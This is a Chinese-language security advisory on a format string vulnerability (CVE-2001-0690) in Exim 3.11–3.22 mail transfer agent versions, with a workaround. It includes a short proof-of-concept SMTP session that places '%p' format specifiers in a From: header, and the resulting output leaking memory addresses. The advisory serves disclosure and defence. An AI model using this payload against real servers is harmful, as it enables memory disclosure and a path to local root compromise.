发布日期：2001-06-07
更新日期：2001-06-11

受影响系统：

University of Cambridge Exim 3.22
University of Cambridge Exim 3.21
University of Cambridge Exim 3.20
University of Cambridge Exim 3.19
University of Cambridge Exim 3.18
University of Cambridge Exim 3.17
University of Cambridge Exim 3.16
University of Cambridge Exim 3.15
University of Cambridge Exim 3.14
University of Cambridge Exim 3.13
University of Cambridge Exim 3.12
University of Cambridge Exim 3.11

描述：

---

BUGTRAQ  ID: 2828
CVE(CAN) ID: CVE-2001-0690

Exim是一个开放源码的自由软件，它可以在Unix下提供邮件传输代理功能(MTA)。

Exim存在一个格式串溢出漏洞，可能允许本地攻击者获取root权限。

如果Exim打开了"语法检查"(缺省是关闭的)选项，则当邮件中的"From:'地址栏中包含格式
串时，将触发格式串溢出漏洞。攻击者可以修改任意内存地址，并且获取root权限。

<*来源：Megyer Laszlo (lez@sch.bme.hu) *>


测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Megyer Laszlo (lez@sch.bme.hu)提供了如下测试代码：

Try this:
===8<======8<=======8<======
lez:~$ /usr/sbin/exim -bS
mail from:lez@lez
rcpt to:hax0r@lez
data
From:@@%p%p%p%p%p%p%p%p%p%p

.
===8<======8<=======8<=======

Somewhere in the answers you should see:
550 Syntax error in 'From' header: domain missing or malformed: failing address is:
@@0x80beba00x804d2690x80be6600x80be6680x80bd050(nil)(nil)(nil)(nil)0x80b9d40


建议：

---

在exim的配置文件中，确保下列开关：
headers_check_syntax
的值为"OFF".

厂商补丁：

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本：
http://www.exim.org/


浏览次数：3581
严重程度：0（网友投票）